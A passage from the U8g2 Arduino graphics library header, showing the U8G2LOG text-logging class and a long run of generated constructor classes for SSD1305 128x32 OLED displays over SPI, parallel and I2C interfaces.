 u8g2_uint_t getWidth() { return u8g2_GetDisplayWidth(&u8g2); }\n};\n\nvoid u8g2_print_callback(const char *s);  /* U8g2lib.cpp */\n\n\nclass U8G2LOG\n#ifdef ARDUINO\n: public Print\n#endif\n{\n  \n  public:\n    u8log_t u8log;\n  \n    /* the constructor does nothing, use begin() instead */\n    U8G2LOG(void) { }\n  \n    /* connect to u8g2, draw to u8g2 whenever required */\n    bool begin(class U8G2 &u8g2, uint8_t width, uint8_t height, uint8_t *buf)  { \n      u8log_Init(&u8log, width, height, buf);      \n      u8log_SetCallback(&u8log, u8log_u8g2_cb, u8g2.getU8g2());\n      return true;\n    }\n\n    /* disconnected version, manual redraw required */\n    bool begin(uint8_t width, uint8_t height, uint8_t *buf) { \n      u8log_Init(&u8log, width, height, buf);  \n      return true;\n    }\n    \n    void setLineHeightOffset(int8_t line_height_offset) {\n      u8log_SetLineHeightOffset(&u8log, line_height_offset); }\n\n    void setRedrawMode(uint8_t is_redraw_line_for_each_char) {\n      u8log_SetRedrawMode(&u8log, is_redraw_line_for_each_char); }\n    \n    /* virtual function for print base class */    \n    size_t write(uint8_t v) {\n      u8log_WriteChar(&u8log, v);\n      return 1;\n     }\n\n    size_t write(const uint8_t *buffer, size_t size) {\n      size_t cnt = 0;\n      while( size > 0 ) {\n\tcnt += write(*buffer++); \n\tsize--;\n      }\n      return cnt;\n    }  \n\n    void writeString(const char *s) { u8log_WriteString(&u8log, s); }\n    void writeChar(uint8_t c) { u8log_WriteChar(&u8log, c); }\n    void writeHex8(uint8_t b) { u8log_WriteHex8(&u8log, b); }\n    void writeHex16(uint16_t v) { u8log_WriteHex16(&u8log, v); }\n    void writeHex32(uint32_t v) { u8log_WriteHex32(&u8log, v); }\n    void writeDec8(uint8_t v, uint8_t d) { u8log_WriteDec8(&u8log, v, d); }\n    void writeDec16(uint8_t v, uint8_t d) { u8log_WriteDec16(&u8log, v, d); }    \n};\n\n/* u8log_u8g2.c */\ninline void U8G2::drawLog(u8g2_uint_t x, u8g2_uint_t y, class U8G2LOG &u8g2log)\n{\n  u8g2_DrawLog(&u8g2, x, y, &(u8g2log.u8log)); \n}\n\n\n/* \n  U8G2_<controller>_<display>_<memory>_<communication> \n  memory\n    \"1\"\tone page\n    \"2\"\ttwo pages\n    \"f\"\tfull frame buffer\n  communication\n    \"SW SPI\"\n\n*/\n\n\n#ifdef U8X8_USE_PINS\n\n/* null device */\nclass U8G2_NULL : public U8G2 {\n  public: U8G2_NULL(const u8g2_cb_t *rotation) : U8G2() {\n    u8g2_Setup_null(&u8g2, rotation, u8x8_byte_empty, u8x8_dummy_cb);\n  }\n};\n\n\n/* Arduino constructor list start */\n/* generated code (codebuild), u8g2 project */\nclass U8G2_SSD1305_128X32_NONAME_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_1_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_1_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_6800 : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_8080 : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1305_128X32_NONAME_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1305_128X32_ADAFRUIT_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1305_128X32_ADAFRUIT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1305_i2c_128x32_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    